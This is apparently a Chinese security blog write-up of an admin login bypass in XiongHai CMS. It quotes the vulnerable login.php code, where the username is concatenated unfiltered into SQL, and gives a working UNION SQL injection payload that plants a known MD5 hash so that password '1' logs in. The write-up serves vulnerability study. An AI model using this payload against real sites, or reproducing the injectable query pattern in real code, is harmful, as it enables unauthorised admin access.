后台万能密码登录

#### 漏洞详情: ####
漏洞位置:admin/files/login.php

“”){
$query = “SELECT * FROM manage WHERE user=’$user'”;
$result = mysql_query($query) or die(‘SQL语句有误:’.mysql_error());
$users = mysql_fetch_array($result);

if (!mysql_num_rows($result)) {
echo ““;
exit;
}else{
$passwords=$users[‘password’];
if(md5($password)<>$passwords){
echo ““;
exit;
}
//写入登录信息并记住30天
if ($checkbox==1){
setcookie(‘user’,$user,time()+3600*24*30,’/’);
}else{
setcookie(‘user’,$user,0,’/’);
}
echo ““;
exit;
}
exit;
ob_end_flush();
}
?>
万能密码登录有两个点:

1.user未经过过滤直接拼接进入数据库查询

2.password的md5对比可绕过

payload:

user:1′ union select 1,2,’test’,’c4ca4238a0b923820dcc509a6f75849b’,5,6,7,8#
password:1

此处md5(1)=c4ca4238a0b923820dcc509a6f75849b

我们进入后台,在账号一栏中填入payload,密码输入mad5加密的1即可成功登录。

![](/static/baige/01-CMS漏洞/熊海CMS/后台万能密码登录/20200417210643-48d1ff22-80ac-1.png)
![](/static/baige/01-CMS漏洞/熊海CMS/后台万能密码登录/20200417210717-5cf79732-80ac-1.png)

漏洞分析

我们登录我们的mysql数据库,查询xhcms库下的manage表
![](/static/baige/01-CMS漏洞/熊海CMS/后台万能密码登录/20200417210537-2174ba32-80ac-1.png)
我们使用联合查询的方法,发现结果在数据库下添加一行新的参数,而添加的值我们是可控的。

所以我们的payload就是通过传入新的md5加密后的password,从而达到绕过验证,直接登录的目的。

### 参考链接 ###
https://xz.aliyun.com/t/7629

© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容